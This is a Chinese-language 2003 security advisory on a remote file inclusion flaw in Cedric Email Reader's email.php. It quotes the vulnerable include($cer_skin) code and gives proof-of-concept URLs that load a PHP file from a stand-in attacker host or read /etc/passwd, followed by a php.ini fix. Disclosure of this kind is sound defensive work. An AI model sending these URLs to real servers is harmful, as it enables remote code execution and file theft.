Cedric邮件阅读器皮肤配置脚本存在远程文件包含漏洞发布时间:2003-02-09 更新时间:2003-02-10 严重程度:中 威胁程度:普通用户访问权限 错误类型:输入验证错误 利用方式:服务器模式 BUGTRAQ ID:6818 受影响系统 ISOCA Cedric Email Reader 0.2详细描述 Cedric Email Reader是一款由PHP编写的基于WEB的邮件客户端。 Cedric邮件阅读器中的脚本email.php中,可以让攻击者在该文件包含远程恶意文件。在某些环境下,远程攻击者可以在配置文件包含一个路径指向远程服务器上的文件,如果这个远程文件是恶意的PHP脚本,那么就可以在WEB服务的权限执行系统命令。 Cedric Email Reader包含的email.php3脚本对用户提交的输入缺少正确检查,远程攻击者可以利用这个漏洞包含恶意PHP文件,以WEB进程权限执行PHP文件中的任意命令。 email.php3(版本0.2)或email.php(版本0.3)包含如下代码: --------------------------------- [...] require('emailreader.ini'); if ($login > "") { parse_str($param); include($cer_skin); include('email.inc'); $mbox = openimap($server, $username, $password); $text = htmlspecialchars(get_part($mbox,$msgid, "TEXT/PLAIN")); [...] --------------------------------- 由于对$cer_skin变量没有预先定义,因此可以通过全局注入来进行变量定义,攻击者可以指定远程系统中的PHP文件作为参数提交给$cer_skin变量,可导致以WEB权限执行PHP文件中包含的恶意代码。 测试代码 MGh (magas@mail.lt)提供了如下测试方法: http://[target]/email.php?login=attacker&cer_skin=http://attacker]/code.php 包含远程机器上PHP文件。 或包含本地机器上的文件: http://[target]/email.php?login=attacker&cer_skin=/etc/passwd 解决方案 编辑php.ini文件,设置'allow_url_fopen'和'register_globals'选项为'off'。 相关信息 相关连接: http://www.isoca.com/creation/webmail/index_en.php |